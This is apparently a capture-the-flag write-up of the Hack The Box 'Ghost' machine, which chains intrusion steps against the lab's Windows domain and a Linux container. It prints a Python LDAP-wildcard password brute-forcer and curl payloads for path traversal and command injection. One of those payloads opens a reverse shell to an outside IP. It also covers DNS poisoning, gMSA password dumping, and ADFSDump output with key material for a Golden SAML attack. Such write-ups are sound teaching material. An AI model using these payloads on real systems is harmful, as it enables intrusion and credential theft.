Recon

Scanning

Nmap scan result is long as normal for a Windows machine. So I extract vital information as follow:

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-14 01:35:16Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
|_Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
443/tcp  open  https?
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP 
1433/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RC0+
| ms-sql-ntlm-info: 
|   10.129.87.139:1433: 
|     Target_Name: GHOST
|     NetBIOS_Domain_Name: GHOST
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: ghost.htb
|     DNS_Computer_Name: DC01.ghost.htb
|     DNS_Tree_Name: ghost.htb
|_    Product_Version: 10.0.20348
| ms-sql-info: 
|   10.129.87.139:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RC0+
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RC0
|       Post-SP patches applied: true
|_    TCP port: 1433
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-07-14T01:37:05+00:00; -1d00h00m10s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: GHOST
|   NetBIOS_Domain_Name: GHOST
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: ghost.htb
|   DNS_Computer_Name: DC01.ghost.htb
|_  DNS_Tree_Name: ghost.htb
8008/tcp open  http          nginx 1.18.0 (Ubuntu)
| http-robots.txt: 5 disallowed entries 
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-generator: Ghost 5.78
|_http-title: Ghost
8443/tcp open  ssl/http      nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: Ghost Core
|_Requested resource was /login
| ssl-cert: Subject: commonName=core.ghost.htb
|_Subject Alternative Name: DNS:core.ghost.htb

For domain services:

  • 53/tcp (DNS - Simple DNS Plus)
  • 88/tcp (Kerberos)
  • 135/tcp (MSRPC)
  • 389/tcp, 636/tcp, 3268/tcp, 3269/tcp (LDAP/SSL-LDAP)
  • 445/tcp (SMB)
  • 464/tcp (Kerberos kpasswd)
  • 593/tcp (RPC over HTTP)
  • 1433/tcp (Microsoft SQL Server)
  • 3389/tcp (RDP)

For Web Services:

  • 80/tcp (HTTP)
  • 443/tcp (HTTPS)
  • 8008/tcp (HTTP, nginx, Ghost CMS)
  • 8443/tcp (HTTPS, nginx, Ghost Core)

Port 8008 | Ghost CMS

Port 80 & 443 for http://ghost.htb response 404 error. But we can access port 8008 for a basic understanding that it hosts a blog server on this machine:

Ghost CMS is a modern, open-source content management system (CMS) designed primarily for blogging (Nmap result indicates this is the 5.78 version):

  • Node.js Backend: Ghost is built on Node.js, which provides a fast and efficient backend.
  • Headless CMS: It can function as a headless CMS, providing content via API for use in various front-end applications.
  • User Roles and Permissions: Supports multiple user roles with fine-grained permissions for collaborative blogging.

For the Ghost CMS, there are typical directories and endpoints that are often present by default:

  1. Admin Panel:
    • /ghost/ - The admin login page.
    • /ghost/#/signin - Direct link to the sign-in page.
  2. Content and Static Files:
    • /content/images/ - Default directory for uploaded images.
    • /content/themes/ - Directory for installed themes.
    • /content/ - Base directory for content, themes, and images.
  3. API Endpoints:
    • /ghost/api/v3/ - API endpoint for Ghost CMS v3.
    • /ghost/api/v4/ - API endpoint for Ghost CMS v4.
    • /ghost/api/v4/content/ - Public content API endpoint.
    • /ghost/api/v4/admin/ - Admin API endpoint.
  4. Configuration and Backup Files:
    • /config.production.json - Configuration file for the production environment (should not be publicly accessible).
    • /config.development.json - Configuration file for the development environment.
    • /ghost/api/v3/admin/db/ - Potentially accessible database endpoint for backup and restore operations.

Inspect its source code we can discover a JavaScript endpoint:

JavaScript
<script src="/assets/built/source.js?v=f335afc3d4"></script>

We use Gobuster for more Dir enumeration anyway, while the server is returning a 301 status code (Moved Permanently) for non-existing URLs. They try to prevent directory enumeration because increases difficulty to distinguish between existing and non-existing paths. But we can use this command:

Bash
gobuster dir -u "http://ghost.htb:8008" -t 50 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -s "200,204,302,307,401,403" -f -b ""
  • -s "...": Specifies the status codes to include.
  • -b "": Disables the default status code blacklist (which includes 404).
  • -f: Follow redirects.

Not much information there except the default /ghost path, which redirects us back to the login page:

Thus let's go for some subdomain enumeration:

Bash
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u "http://ghost.htb:8008" -H "HOST:FUZZ.ghost.htb" -c -fs 7676

http://gitea.ghost.htb:8008/ is a private Git repository. Search it out a bit, we found two users gitea_temp_principal and cassandra.shelton, but no extra information

http://intranet.ghost.htb:8008/login is an internal login entrance, which also requires credentials (username:secret) to get in:

Port 8443 | AD Federation

Further, on https://core.ghost.htb:8443/login the Ghost Core refers to the core functionality of the Ghost CMS platform. It encompasses the primary features and components that make up the Ghost blogging platform, including content management, user authentication, and administrative interfaces:

We see AD Federation which indicates that the site is using Active Directory Federation Services (AD FS) for authentication. AD FS is a single sign-on (SSO) solution developed by Microsoft, allowing users to log in using their Active Directory credentials.

The login button redirects us to a new subdomain https://federation.ghost.htb, which https://federation.ghost.htb/adfs/ls/ is the endpoint for the AD FS login service:

To the URL with paths & parameters as follow:

https://federation.ghost.htb/adfs/ls/?SAMLRequest=nVPBcpswEP0VRneDADW2NcYZBx%2FqmTRlbJpDLhlZLDEzIFHtkjh%2F3wGbxofWB1%2F1dt%2B%2Bffu0uD82tfcODitrEhb6nN0vF6iaupWrjg5mC787QPKOTW1QDkDCOmekVVihNKoBlKTlbvXjUUY%2Bl62zZLWtmbdZJ%2By1VJEOhYD5XczDu1IAD2ffiimfCohnsI%2Bn4VxEYayY9zyKiHzOvA1iBxuDpAwlLOKRmPDpJBQ5j2UYSjH3BY9fmJedxz1UpqjM23Vt%2B1MRyu95nk2yn7uceWtAqoyiYfSBqEUZBCUU4IY3%2F%2B1gkfwD7QNVlBjUGDBvhQiuR1NrsGvA7cC9Vxp%2BbR%2B%2FOLR18NUtZ0LEJ4rexKC1SFvA1hoEdnJcDju7C6uvb6NGFWx5ZeYiuOAeT%2FukGtisM1tX%2BvOW067q2n6kDhRBwsh1wIKR%2BhwYKIb4pNYQHG%2BKT2qbVrkK%2B7vAUWkabbokTmuFuIXyFtOulmmpe2pAmSnED%2BuKPmmgCYrcKYOtdXS29l96lifsP3b8RS%2B%2F2PIP&SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&Signature=cOLueJq9xTxGOwPQOQytoEC6nvkDMPk165R42il3t18sCpmpjX7AQ2rcF4ZbChCNI7KqSuSO2S53pnvTw9ri3ROnox6XC9mcwdniHHVJHqpp2sJQZ7XxiK1%2FtinddOJxZpvfALYb%2B5xsPrhZxcBQmMsjLOHUAobadJqX4F83ZIDx5mTG8EPj3Mu0dWvz80jyv7%2BRO%2B2r2F63aHL9gdJ3lbs90NXIONoR%2F6d0al46RfS1psbAdxePJAfuKE4JbgG3VcVMxx5NwIg8j7ciR4MOvOocxWlVsGKPrWSqiWIg0cVSyn1uzuWyKdV5t8j8Duzw0Pr3I%2FZjIU9RZWPVrFivSw%3D%3D

It indicates that the login process involves SAML (Security Assertion Markup Language) authentication through Active Directory Federation Services (AD FS). From above URL we can extract its request paramteres:

  • SAMLRequest: Contains the SAML authentication request. It is typically a Base64-encoded XML document that includes the details of the authentication request.
  • SigAlg: Specifies the signature algorithm used to sign the SAML request. In this case, it is RSA-SHA256.
  • Signature: The digital signature of the SAML request, ensuring its integrity and authenticity.

Port 1433 | MSSQL

It exposes MSSQL port which could be a potential attack surface, that we can try to exploit it with Impacket later:

Bash
mssqlclient.py -windows-auth DOMAIN/username:password@target_IP

Docker | Webroot

LDAP Wildcard Search

Test http://intranet.ghost.htb:8008, which is the login page for internal network, we can discover that it sends a POST request with multipart/form-data:

From the names of parameters, apparently the backend server compares our input with the data on the LDAP server, which means it could support wildcard search (*) or other LDAP injection payloads if the server does not have proper sanitization.

Test with the wildcard (*), surprisingly bypass the authentication, with a valid token which seems to be a JWT:

And we can immediately access the intranet, with the identify of Kathryn Holland as the sysadmin:

We can check the Users menu on the intranet, with their roles identified:

Grep the usernames and test them via Kerbrute:

Bash
kerbrute userenum -d ghost.htb --dc DC01.ghost.htb -t 10 -v users.txt

The News menu suggests us to login as the user gitea_temp_principal to the Gitea repository. With the wildcard vulnerability, we can use a python script to brute force the password that matches username gitea_temp_principal in the login panel:

Python
import string
import requests
from pwn import *
url = 'http://intranet.ghost.htb:8008/login'
bar = log.progress("Bruteforcing password")
headers = {
    'Host': 'intranet.ghost.htb:8008',
    'Accept-Language': 'en-US,en;q=0.5',
    'Next-Router-State-Tree': '%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D',
    'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940',
    'Accept-Encoding': 'gzip, deflate, br',
    'Connection': 'keep-alive'
}
# Formdata
files = {
    '1_ldap-username': (None, 'gitea_temp_principal'),
    '1_ldap-secret': (None, 's*'),
    '0': (None, '[{},"$K1"]')
}
password = ""
while True:
    for char in string.ascii_lowercase + string.digits:
        bar.status(f"trying {char} now for the next character...")
        files = {
            '1_ldap-username': (None, 'gitea_temp_principal'),
            '1_ldap-secret': (None, f'{password}{char}*'),
            '0': (None, '[{},"$K1"]')
        }
        res = requests.post(url, headers=headers, files=files)
        if res.status_code == 303:
            password += char
            print(f"The current password is {password} + *")
            break
    else:
        break
    
bar.success(f"The final password is {password}")

Run the script, and we will get the password user gitea_temp_principal. With the credentials, we can now sign in http://gitea.ghost.htb.

LFI | Ghost Blog

We will see 2 repositories which we cannot access before, the projects for the Blog & Intranet.

From the introduction of the project Ghost Blog:

  • The blog uses Ghost CMS, running inside a Docker container.
  • The blog is integrating with an intranet, and some features require an API key named DEV_INTRANET_KEY, stored as an environment variable.
  • This key is shared between the intranet and the blog, suggesting that if we can obtain this key, it might provide access to intranet functionalities.
  • The public API key for Ghost is provided: a5af628828958c976a3b6cc81a.

Also, it mentions that a specific file, posts-public.js, has been modified to add new features. By reviewing the source code, we can identify a Local File Inclusion (LFI) vulnerability for the extra parameter:

JavaScript
async query(frame) {
            const options = {
                ...frame.options,
                mongoTransformer: rejectPrivateFieldsTransformer
            };
            const posts = await postsService.browsePosts(options);
            const extra = frame.original.query?.extra;
            if (extra) {
                const fs = require("fs");
                if (fs.existsSync(extra)) {
                    const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
                    posts.meta.extra = { [extra]: fileContent };
                }
            }
            return posts;
        }

The extra parameter is not properly sanitized, so we can traverse directories and read files outside of the intended directory (/var/lib/ghost/extra/), with a payload like ../../../etc/passwd.

Therefore, we can access the post endpoint to test. According to Ghost official documentation, which indicates that our traverse path could be:

Bash
curl "http://ghost.htb:8008/ghost/api/v3/content/posts/?extra=../../../etc/passwd&key=API_KEY"

We can use the public API key provided above in the Readme, test how much ../ we need to identify the directory position of the file system:

Bash
curl "http://ghost.htb:8008/ghost/api/v3/content/posts/?extra=../../../../etc/passwd&key=a5af628828958c976a3b6cc81a"

Once the POC works, we can now extract information we care about. Although it's a windows machine externally, now we know that it's running a Linux container as the server of the Blog. Since it mentions "API key named DEV_INTRANET_KEY stored as an environment variable", we can then check the /proc/self/environ path for the file system:

Bash
curl "http://ghost.htb:8008/ghost/api/v3/content/posts/?extra=../../../../proc/self/environ&key=a5af628828958c976a3b6cc81a" | jq

Using jq to beautify the JSON data output:

We got the DEV_INTRANET_KEY=!@yqr!▒▒▒▒▒▒▒▒, which will be used for some features in the intranet like scanning as it mentioned.

Command Injection | Intranet

Take a look at another Gitea repository, the Readme tells us that the dev API at http://intranet.ghost.htb/api-dev will be exposed until development is done, which are added some new features to integrate the blog and the intranet.

As it already mentioned a lot that there's an scanning feature under development, so we can review the codes under the path intranet/backend/src/api/dev/scan.rs:

Rust
use std::process::Command;
use rocket::serde::json::Json;
use rocket::serde::Serialize;
use serde::Deserialize;
use crate::api::dev::DevGuard;
#[derive(Deserialize)]
pub struct ScanRequest {
    url: String,
}
#[derive(Serialize)]
pub struct ScanResponse {
    is_safe: bool,
    // remove the following once the route is stable
    temp_command_success: bool,
    temp_command_stdout: String,
    temp_command_stderr: String,
}
// Scans an url inside a blog post
// This will be called by the blog to ensure all URLs in posts are safe
#[post("/scan", format = "json", data = "<data>")]
pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> {
    // currently intranet_url_check is not implemented,
    // but the route exists for future compatibility with the blog
    let result = Command::new("bash")
        .arg("-c")
        .arg(format!("intranet_url_check {}", data.url))
        .output();
    match result {
        Ok(output) => {
            Json(ScanResponse {
                is_safe: true,
                temp_command_success: true,
                temp_command_stdout: String::from_utf8(output.stdout).unwrap_or("".to_string()),
                temp_command_stderr: String::from_utf8(output.stderr).unwrap_or("".to_string()),
            })
        }
        Err(_) => Json(ScanResponse {
            is_safe: true,
            temp_command_success: false,
            temp_command_stdout: "".to_string(),
            temp_command_stderr: "".to_string(),
        })
    }
}
  • The ScanRequest struct represents the incoming JSON request, which includes a url field.
  • The ScanResponse struct represents the JSON response, including fields for the safety check result and the command execution output.
  • The key extracts value X-DEV-INTRANET-KEY from the request header, then compares it to the environment variable on the target machine, which we retrieved in last step.
  • The scan function builds a shell command using bash -c to run intranet_url_check with the provided URL.
  • The command is constructed with format!("intranet_url_check {}", data.url), which directly embeds the url parameter into the shell command without sanitization.

Therefore, If the url parameter contains shell metacharacters, it can inject arbitrary commands. We can test the vulnerability by sending a POST request to the endpoint mentioned in the Readme:

Bash
curl -X POST http://intranet.ghost.htb:8008/api-dev/scan -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"https://4xura.com; whoami"}' | jq

It looks like we have a web root user at the back end. Now we can prepare our reverse shell payload for the container Linux machine.

However, it seems the machine does not have bash command, we can try sh instead:

Bash
curl -X POST http://intranet.ghost.htb:8008/api-dev/scan -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"https://4xura.com; sh -i >& /dev/tcp/10.10.16.2/4444 0>&1"}' | jq

We now own the web root user:

GHOST | Florence.Ramirez

Patch is implemented to remove plain-text password in the docker-entrypoint.sh. Instead, we can found a Kerberos ticket in /tmp/krb5cc_50, which allows us to request a new TGS to perform the same goal depicted below.

As the root user inside the container, we can read or write any files. Enumerate files inside it, there's a docker-entrypoint.sh locates at the root folder, which always indicates how the container was being setup:

It sets up SSH configurations, attempts to establish an SSH connection, and then executes the intranet program, with the credentials of user florence.ramirez.

Therefore, we can pivot to this user:

Bash
ssh [email protected]@dev-workstation

We don't find any flags under this machine. But the password seems personal, so we can try her credentials for password reusing.

Use Crackmapexec to verify if the credentials works for the Windows machine:

Bash
crackmapexec smb ghost.htb -u florence.ramirez -p 'uxLmt▒▒▒▒▒▒▒▒'

Indicate she's a domain user. Although we cannot remote log on with her credentials, but we can use Bloodhound.py to gather domain information remotely.

First we run DNSchef to create a fake nameserver that hijacks every query to the target machine's ip:

Bash
python3 dnschef.py --fakeip=${ip} --interface=127.0.0.1

Then we can run Bloodhound-python and set -ns to our local host:

Bash
bloodhound-python -d ghost.htb -c All -ns 127.0.0.1 --zip -u florence.ramirez -p 'uxLmt▒▒▒▒▒▒▒▒' --use-ldap

From the result, we can tell Florence belongs to group IT, which seems to be useless. But she belongs to Domain Users > Authenticated Users > PRE-WINDOWS 2000 COMPATIBLE, which provides her read access on all users and groups in the domain:

So when we take a look at Map Domain Trust, we discover 2 domains GHOST.HTB & CORP.GHOST.HTB, who trust each other:

  1. Bidirectional Trust:
    • The arrows indicate that there is a bidirectional trust relationship between GHOST.HTB and CORP.GHOST.HTB. This means that both domains trust each other, allowing for authentication requests to be honored in both directions.
  2. Trust Pathways:
    • The "TrustedBy" labels on the connecting lines indicate the direction of trust. Since the lines go both ways between the domains, it confirms that users from GHOST.HTB can access resources in CORP.GHOST.HTB and vice versa.

With these relationship, usually we consider:

  1. Inter-Domain Attacks:
    • Because of the bidirectional trust relationship, compromising an account in one domain (GHOST.HTB) may allow an attacker to move laterally and access resources in the other domain (CORP.GHOST.HTB). This is significant for expanding our attack surface.
  2. Access to Resources:
    • Trusted domains often allow users from the trusted domain to access resources such as files, printers, and possibly even elevated privileges if the trust relationship is not tightly controlled.
  3. Privilege Escalation Pathways:
    • If an attacker can compromise a lower-privileged user in one domain, they may be able to escalate their privileges in the trusted domain.
  4. Service Accounts and Cross-Domain Policies:
    • Service accounts often have permissions across trusted domains. Compromising such accounts can lead to significant leverage points for an attacker.

We can also use PowerView for Trust Relationship Enumeration:

PowerShell
Get-DomainTrust -Domain GHOST.HTB
Get-DomainTrust -Domain CORP.GHOST.HTB

And we can discover the domain user ADFS_GMSA$ could potentially own DCSync on GHOST.HTB, which could possibly further exploit on CORP.GHOST.HTB:

GHOST | Justin.Bradley

ADIDNS poisoning

If we take a look into the intranet (http://intranet.ghost.htb:8008), we will see there is some discussion in the forum. New subdomain http://bitbucket.ghost.htb mentioned, and kathryn.holland (sysadmin of intranet) told another user justin.bradley that the DNS of the domain (GHOST.HTB) is not configured. So I think it could be a hint for us to try hijacking DNS record:

And the user justin.bradley keeps trying his script towards the subdomain 'bitbucket.ghost.htb'. Once we hijack this subdomain pointing to our attacker IP, then we may be able to intercept and capture the traffic from justin.bradley, including NTLM hashes or kerberous credentials. And you may remember, he belongs to not only group IP as others, but also group Remote Management Users, who will be able to remote logon our target machine.

In order to function properly, Active Directory services need DNS. In that matter, Active Directory Domain Services (AD-DS) offer an integrated storage and replication service for DNS records. This is called Active Directory Integrated DNS (ADIDNS).

Therefore, Just like any other domain name resolution spoofing attack, our task here is to add a DNS record for 'bitbucket.ghost.htb' pointing to our IP as user florence.ramirez. We can use the tool dnstool.py created by dirkjanm on Github:

Bash
python3 dnstool.py -u GHOST.HTB\\florence.ramirez -p 'uxLmt*udN▒▒▒▒▒▒' GHOST.HTB -r bitbucket.ghost.htb -a add -d 10.10.16.2 -dns-ip $ip

Set up Responder, we will then capture the NTLM hash for justin.bradley:

Run Hashcat with mode 5600, we get the password for user justin.bradley:

As we talked above, he's a member of group Remote Management User, so use Evil-winrm to remote logon to the DC of GHOST.HTB, and take the user flag:

And we see he owns the right of creating machine accounts, which could be a great attack factor for future exploit.

ADFS | ADFS_GMSA$

ReadGMSAPassword

According the login format instructed on https://core.ghost.htb:8443, using [email protected] as username and her password, we are able to log in the ADFS (Active Directory Federation Services). But it redirects to the unauthorized page telling us it currently is only available for Administrator, not for us florence.ramire. But good news is that, it seems we can at least use domain passwords to log in ADFS:

As we now have a new & privileged account justin.bradley, we can run BloodHound for more domain information (with AV activated we need to run bloodhound-python remotely as we did before):

User justin.bradley is member has ReadGMSAPassword privilege over the ADFS_GMSA$ account. I have introduced the exploitation on this Privilege in the Mist writeup, so we will skip the introduction here. This permission allows us to retrieve the managed password of the gMSA.

Use Crackmapexec to read the GMSA password:

Bash
crackmapexec ldap ${ip} -u justin.bradley -p 'Qwerty▒▒▒▒▒▒▒▒' --gmsa 

ADFS_GMSA$ belongs to group Domain Computers & Remote Management User:

And this account has AddKeyCredentialLink towards group Key Admins & Enterprise Key Admin:

This permission allows us to manage key credential links for above two groups. Key Credential Links are used in Microsoft environments to bind a public key to a user or computer object in AD, facilitating scenarios like certificate auto-enrollment or more modern authentication methods that do not rely on traditional passwords.

Let's look up the information of group Key Admins in the victim machine using Get-ADGroup -Identity 'Key Admins' -Properties *:

  • "Members of this group can perform administrative actions on key objects within the domain."
  • SID: S-1-5-21-4084500788-938703357-3654145966-526
  • Members: {} (empty)

The description suggests that members of this group have elevated privileges related to key objects within the domain. This is typically used for managing sensitive objects or operations within the Active Directory.

But there's no member in this group (neither Enterprise Key Admins). We do remember the user justin.bradley owns the SeMachineAccountPrivilege of creating machine accounts, using Impacket:

Bash
impacket-addcomputer -dc-ip ${ip} -method SAMR -computer-name AXURA$ -computer-pass 'StrongPassword123!' ghost.htb/justin.bradley:'Qwerty▒▒▒▒▒▒▒▒'

But we cannot add this account to group Key Admins.

Use Pywhisker to add key credentials to the target:

Bash
python3 pywhisker.py -d ghost.htb -u "ADFS_GMSA$" -H 4f4b81c5f6a9c1931310▒▒▒▒▒▒▒▒ -t "administrator" --action "add"

But we don't has privilege to do so.

This could just be a rabbit hole. I think the idea could be Relaying the NTLM from ADFS, since from the beginning, it gave us a hint that "Only Administrator is available", meaning the Administrator could be logged in and authenticated to the ADFS for address https://core.ghost.htb:8443.

Golden SAML Attack

Let's have a callback to our previous recon results, that we used to intercept the SAMLRequest to https://federation.ghost.htb/adfs/ls/ with three parameters of SAMLRequest, SigAlg, Signature.

Relating to this information, we can try to perform the Golden SAML Attack, which enables an attacker to create a golden SAML. We can forged a SAML "authentication object" and authenticate across every service that uses SAML 2.0 protocol as an SSO mechanism. We can have a detailed report in this link.

In our case, we are dealing with Active Directory Federation Services (AD FS), which is a Microsoft standards-based domain service that allows the secure sharing of identity information between trusted business partners (federation). It is basically a service in a domain that provides domain user identities to other service providers within a federation.

Therefore, if we can access ADFS, we may be able to take advantage of this attack and practically gain any permissions for other services.

To perform this attack, we'll need the private key that signs the SAML objects (similarly to the need for the KRBTGT in a golden ticket). For this private key, we don't need a domain admin access, we only need the AD FS user account, which is ADFS_GMSA$ we just take down. This article has introduced steps we need to go through for a Golden SAML Attack.

For a Golden SAML attack, we need to first compromise the AD FS service account (ADFS_GMSA$). Then we can use tools such as ADFSDump to extract the required information:

  • The token signing certificate and its private key
  • The Distributed Key Manager (DKM) key from Active Directory
  • The list of services for which the AD FS server is configured to be an identity provider

Download from Github and compile ADFSDump, Remote logon the domain GHOST.HTB with ADFS_GMSA$ account and its hash (as we already discussed that it belongs to group Remote Management User)

Bash
evil-winrm -i ghost.htb -u "ADFS_GMSA$" -H 4f4b81c5f6a▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

Upload and run ADFSDump.exe to connect locally to the AD FS database to extract the EncryptedPFX element of the Token Signing service settings, and also connects to Active Directory to export the DKM key (the Private Key below):

The DKM (Distributed Key Management) key is a component used within Active Directory Federation Services (ADFS) for encrypting and decrypting sensitive data, which is crucial for securing the data stored in the ADFS configuration database.

Private Key (DKM) Extraction: We extracted two private keys from the Active Directory store, which are critical for the security of the ADFS environment.

## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1

Encrypted Token Signing Key: Reads the encrypted token signing key from the ADFS database, which is used to sign SAML tokens to ensure their integrity and authenticity.

## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
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